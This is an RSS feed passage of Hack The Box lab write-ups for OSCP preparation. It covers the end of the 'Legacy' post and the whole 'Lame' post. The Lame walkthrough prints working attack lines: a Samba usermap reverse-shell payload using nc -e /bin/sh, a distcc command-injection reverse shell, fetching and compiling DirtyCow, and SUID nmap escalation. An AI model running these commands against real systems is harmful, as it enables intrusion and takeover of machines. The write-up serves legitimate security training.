445</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gC26sijYBQVAXc3187wlGg.png" /><figcaption>executing exploit with option 6</figcaption></figure><p>And We get a Shell again!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*2vGWZ7Zusd2pllRLQXccxg.png" /><figcaption>shell</figcaption></figure><h4>Determining Privilege</h4><p>The XP Machine doesn’t have a whoami command and we can’t echo the username as well.Even though we probably have a higher privilege, we cant say we are system for sure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*V7qslE8qZzqR8PnTQ-YfMg.png" /><figcaption>“whoami” not recognised</figcaption></figure><p>So we can locate whoami.exe on our kali and share the folder over SMB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*q2dKg11KhvY6jU4v0AG5-A.png" /><figcaption>share folder over SMB</figcaption></figure><p>Now we will run it and see what privilege we are</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*u5UqN_bNyHGJTolSmgAl7A.png" /><figcaption>SYSTEM privilege</figcaption></figure><p>And we are SYSTEM!We dont need to escalate any privileges</p><p>Grab the User and Root flags</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*C7yynjxpiUSpHseXFRy5_w.png" /><figcaption>user.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*PHmScuk4g17DzBckx3aFaw.png" /><figcaption>root.txt</figcaption></figure><h3>Lessons Learned</h3><p>This was quite an easy box similar to our previous machine Lame,but the same lesson applies.We need to always update our software as even in this box we exploited vulnerable outdated version of SMB. So,in this case we need to upgrade to the latest version of Windows.</p><h3>Conclusion</h3><p>Thank you for taking the time to read my write-up and I hope it was helpful. I will be continuing to tackle the TJ_Null’s list of recommended HTB Machines in order to best prepare for OSCP. Please consider following me for more such content.</p><p>p.s. I am always open to any suggestions and new ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*B6FsuRgOxkD2FRiBtjVA1w.png" /><figcaption>TJ_Null’s OSCP-like Machines List</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=557dc3f0e384" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/oscp-preparation-hack-the-box-2-legacy-557dc3f0e384">OSCP Preparation — Hack The Box #2 Legacy</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Preparation — Hack The Box #1 Lame]]></title>
            <link>https://systemweakness.com/oscp-preparation-hack-the-box-1-lame-1accd2575381?source=rss-693aff8d776b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1accd2575381</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Tufail]]></dc:creator>
            <pubDate>Thu, 16 Mar 2023 06:16:38 GMT</pubDate>
            <atom:updated>2023-04-10T10:20:37.358Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>OSCP Preparation 2023 — Hack The Box #1 Lame</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wB-ZUmN6UvaQJUAn_fvNbw.png" /></figure><p>Hey guys Hope Everyone is doing well.</p><p>Welcome to my 1st ever blog post and thank you for your interest.I am going to start posting blogs of my HTB adventures and other cyber related activities as i learn and develop my skills.</p><p>This is the first blog out of a series of blogs i will be publishing on HTB Retired machines to document my progress to prepare for the OSCP. The Complete List of OSCP-like boxes created by TJ_Null can be found in this link - <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">HTB VMs</a></p><p>Lets Begin!</p><h3><strong>Reconnaissance</strong></h3><p>First up,Lets run a full TCP and UDP Scan.</p><blockquote>nmap -sT -p- --min-rate 10000 -oA Nmap/tcpscan 10.10.10.3</blockquote><ul><li><strong>-sT : </strong>TCP connect port scan</li><li><strong>-p- : </strong>Port scan all ports</li><li><strong>--min-rate : </strong>Send packets no slower than &lt;number&gt; per second</li><li><strong>-oA : </strong>Output in three major formats at once</li></ul><p>We find port 21,22,139,445 and 3632 open in the TCP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*5Y08Vf1qfYRIbLUoTpXm0g.png" /><figcaption>Nmap TCP Scan</figcaption></figure><blockquote>nmap -sU -p- --min-rate 10000 -oA Nmap/udpscan 10.10.10.3</blockquote><ul><li><strong>-sU :</strong> UDP port scan</li></ul><p>all ports seem to be closed in the UDP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*GDs-BwNvvkoulj9TPhYJSg.png" /><figcaption>Nmap UDP Scan</figcaption></figure><p>Lets perform a broad and deep scan on all ports to find more information.</p><blockquote>nmap -sC -sV -O -p- -oA Nmap/fullscan 10.10.10.3</blockquote><ul><li><strong>-sC :</strong> Scan with default NSE scripts</li><li><strong>-sV :</strong> determines the service version</li><li><strong>-O :</strong> Remote OS detection using TCP/IP stack fingerprinting</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F3E8RdG9d66VGK73fMRAhQ.png" /><figcaption>Nmap Full Scan 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N7dZEwkjp_oPfwLApQ6vPw.png" /><figcaption>Nmap Full Scan 2</figcaption></figure><p>We get back the following result about the ports:</p><p><strong>Port 21</strong>: ftp vsftpd 2.3.4 and Anonymous FTP login is allowed.</p><p><strong>Port 22</strong>: openSSH Version 4.7p1.</p><p><strong>Port 139 and 445:</strong> netbios-ssn Samba v3.0.20-Debian.</p><p><strong>Port 3632: </strong>distccd distccd v1 ((GNU) 4.2.4.</p><p>So as per our recon ,we potentially have four different points of entry to this machine.</p><h3>Enumeration</h3><h4><strong>FTP (Port 21)</strong></h4><p>vsftpd 2.3.4 is a famous backdoor which is triggered when the user enters any string:) while connecting to ftp.</p><p>First, lets look into FTP Anonymous login:</p><blockquote>ftp 10.10.10.3</blockquote><p>I tried to login and see if there are any files but the directory seems empty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*w-9xjmg0C6z0WxteeRuv-g.png" /><figcaption>FTP Anonymous login</figcaption></figure><p>We will use Searchsploit to check if there’s any known vulnerability on vsftpd 2.3.4 .</p><blockquote>searchsploit vsftpd 2.3.4</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*laCd_KpKh2P8JtoU_DWSIg.png" /><figcaption>searchsploit</figcaption></figure><p>Searchsploit finds two possible exploits - a python script and a ruby script with Metasploit( Which seems to be <a href="https://www.exploit-db.com/exploits/17491">patched</a>). As this series is mainly focusing on best preparation for the OSCP exam I will use Metasploit on a very limited basis.</p><p>Lets Enumerate further using nmap script to check if ftp is vulnerable or not.</p><blockquote>ls /usr/share/nmap/scripts/ftp*</blockquote><blockquote>nmap --script ftp-vsftpd-backdoor -p 21 10.10.10.3</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZO8p2r0w3BwVcB6iX2Md2g.png" /><figcaption>ftp-vsftpd-backdoor.nse script</figcaption></figure><p>And it states it is actually not vulnerable.So, it is clear we cant make early assumptions and its better to check if a service is definitely vulnerable using nmap script.</p><h4>SSH(Port 22)</h4><p>Since we already know the SSH version ,we found the OS that’s running on the target machine -<a href="https://launchpad.net/ubuntu/+source/openssh/1:4.7p1-8ubuntu1">Ubuntu Hardy 8.04 LTS</a> which seems to be very old.</p><blockquote>ls /usr/share/nmap/scripts/ssh*</blockquote><blockquote>nmap --script ssh-brute.nse -p 22 10.10.10.3</blockquote><blockquote>nmap --script ssh-run.nse -p 22 10.10.10.3</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-zNqQYRotX5alrGaHMaxdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*b1XpoinOzG3F6U8vC8BFpQ.png" /><figcaption>ssh-brute.nse and ssh-run.nse</figcaption></figure><p>Enumerating SSH with nmap script didn’t reveal any credentials as both scripts which can brute force credentials failed.</p><h4><strong>SMB(Port 139 and 445)</strong></h4><p>Lets look at SMB services running on port 139,445.</p><blockquote>smbclient -L 10.10.10.3</blockquote><p>With smbclient, we access the SMB server and list the services.We find Anonymous login successful as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*WqYCABlwAETIWVtRZlX6Gg.png" /><figcaption>smbclient listing services</figcaption></figure><blockquote>smbmap -H 10.10.10.3</blockquote><p>With smbmap , we view the Permission of the share drives and find that there is READ,WRITE access on tmp folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VO4ShkUemIZOkQ2tAAhddg.png" /><figcaption>smbmap viewing permissions</figcaption></figure><blockquote>searchsploit samba 3.0.20</blockquote><p>We can find out that samba does have a few vulnerabilities. The command execution seems promising.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ART281dqW3yRfuqywVo5eQ.png" /><figcaption>searchsploit samba 3.0.20</figcaption></figure><p>We search for the module and discover that it’s the vulnerability CVE-2007–2447,often referred to as <a href="https://www.exploit-db.com/exploits/16320">Samba usermap script</a>.it is stated to be exploited with metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*_YWOPVHeJKr6qT0MiMRtvQ.png" /><figcaption>Samba 3.0.20 &lt; 3.0.25rc3 — ‘Username’ map script’</figcaption></figure><p>On analysing the script, the issue seems to be with the username field.if we send shell metacharacters in the username,we can exploit the vulnerability which allows us to execute arbitrary commands.So all we have to do is send a reverse shell command in the username parameter and catch the shell.</p><p>Before exploiting this, let’s look at our last point of entry.</p><h4>Distccd(Port 3632)</h4><p>According to <a href="https://wiki.gentoo.org/wiki/Distcc">Gentoo wiki</a>, “Distcc is a program designed to distribute compiling tasks across a network to participating hosts. It is comprised of a server, distccd, and a client program, distcc.”</p><blockquote>searchsploit distcc</blockquote><p>We see there is a command execution and its a CVE-2004-2687 Vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*soeeRe2z8JnjYyR4CwpOUg.png" /><figcaption>searchsploit distcc</figcaption></figure><p>Lets use a nmap script to verify this:</p><blockquote>nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args=”distcc-cve2004-2687.cmd=’id’”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_EsfDFm-0SmkovSFxi3-A.png" /><figcaption>nmap distcc script</figcaption></figure><p>Yes, it shows its vulnerable.The nmap script shows command execution, running and returning the results from the “id” command. we can also see the process is running as daemon.</p><p>So, we have 2 possible ways to exploit this machine.</p><h3>Exploitation #1: Samba</h3><p>First lets add a “nc” listener on the attack machine:</p><blockquote>nc -nlvp 443</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*2E-moAW_o1Q5mLQ4H8qf-w.png" /><figcaption>nc listener</figcaption></figure><p>Login into smb client and send shell metacharacters into the username with a reverse shell payload.</p><blockquote>smbclient //10.10.10.3/tmp</blockquote><blockquote>logon “/=`nohup nc -nv 10.10.14.10 443 -e /bin/sh`”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*N97Olb8zyFWa7bTrUt0c2w.png" /><figcaption>smbclient login and payload</figcaption></figure><p>The shell connects back to our attack machine and we have root access!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*JSsJF71rdRn-RVA-tKKTZQ.png" /><figcaption>nc listener</figcaption></figure><p>Grab the User and Root flags</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*x4L3jqoiRd7UhqPta8RWFg.png" /><figcaption>user.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*yT3qVFOgey3KCZeGExwiwQ.png" /><figcaption>root.txt</figcaption></figure><h3>Exploitation #2: Distcc</h3><h4><strong>Initial Foothold</strong></h4><p>In the previous section,We already saw the nmap script vulnerable to command execution.</p><p>So, First lets add a “nc” listener on attack machine:</p><blockquote>nc -nlvp 443</blockquote><p>Then, use the nmap script to send a reverse shell back to the attack machine by changing the command “id” to “nc”.</p><blockquote>nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args=”distcc-cve2004-2687.cmd=’nc -e /bin/sh 10.10.14.10 443&#39;”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xErCPfPcwZRA6vznOYlo1A.png" /><figcaption>nmap distcc script</figcaption></figure><p>Instantly we get a shell as daemon .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*Z1kXzMtd4a3S9kU7SMUVzg.png" /><figcaption>non-privileged shell-daemon</figcaption></figure><h4>Privilege Escalation — using DirtyCow Exploit</h4><p>We find that the OS version — Linux 2.6.4 is vulnerable to the <a href="https://www.exploit-db.com/exploits/40839">Dirty Cow exploit </a>which is CVE-2016–5195 vulnerability.</p><p>Lets download the exploit file “40839.c” and change its name to dirtycow.c</p><blockquote>searchsploit -m 40839.c</blockquote><blockquote>mv 40839.c dirtycow.c</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o5pWF8tC_ZnkIWMoZ__jyg.png" /><figcaption>searchsploit exploit download and rename</figcaption></figure><p>Start up a http server on our attack machine and download the exploit file in the target machine.</p><blockquote>python3 -m http.server 8000</blockquote><blockquote>wget <a href="http://10.10.14.10:8000/dirtycow.c">http://10.10.14.10:8000/dirtycow.c</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*MPYo2kNY4fuHQq1UOh0nvA.png" /><figcaption>http.server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*5Pyq5IKDyk15d3zjSMDqIQ.png" /><figcaption>exploit received in daemon shell</figcaption></figure><p>Now we need to compile the exploit and add -lcrypt to avoid errors and then execute it.</p><blockquote>gcc -pthread dirtycow.c -o dirtycow -lcrypt</blockquote><blockquote>./dirtycow</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*I162K5KxasRKz22RfSzoww.png" /><figcaption>compile exploit and run</figcaption></figure><p>As seen above, after running, we can set a password which we set as “<strong>1234” </strong>and we also get a username “<strong>firefart”.</strong></p><p>In the attack machine lets ssh into Lame with user firefart and the password we created and we have root access!</p><blockquote>ssh firefart@10.10.10.3</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*yR-c02KcUtE-WK3WdSIVKQ.png" /><figcaption>ssh firefart</figcaption></figure><h4>Privilege Escalation — using nmap</h4><p>We search for SUID binaries with the “find” command and see nmap to be quite interesting.</p><blockquote>find / -type f -perm -u=s 2&gt;/dev/null</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*M8ZyR7gS2AjRrdzObMnnyA.png" /><figcaption>search for SUID binaries</figcaption></figure><p>We can use <a href="https://gtfobins.github.io/gtfobins/nmap/"><strong>GTFObins</strong></a> guidelines for nmap to escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*hSqO_4coNak1tPXBM2oVaw.png" /><figcaption>GTFObins</figcaption></figure><blockquote>nmap --interactive</blockquote><blockquote>!sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*1aWx0WoGxOGqY29nZzRK9A.png" /><figcaption>nmap interactive shell</figcaption></figure><p>We have Root!</p><h3>Lessons Learned</h3><p>This was quite an easy box,but there is always something to learn.Both the vulnerabilities exploited in this machine were publicly disclosed, So it is very important to update your software and have regular security checks.Also,disable the services that are not required and use a firewall to restrict access to internal services.</p><h3>Conclusion</h3><p>Thank you for taking the time to read my write-up and I hope it was helpful. I will be continuing to tackle the TJ_Null’s list of recommended HTB Machines in order to best prepare for OSCP. Please consider following me for more such content.</p><p>p.s. I am always open to any suggestions and new ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*R5rG45q9HGOtYzVVK1koDQ.png" /><figcaption>TJ_Null’s OSCP-like Machines List</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1accd2575381" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/oscp-preparation-hack-the-box-1-lame-1accd2575381">OSCP Preparation — Hack The Box #1 Lame</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>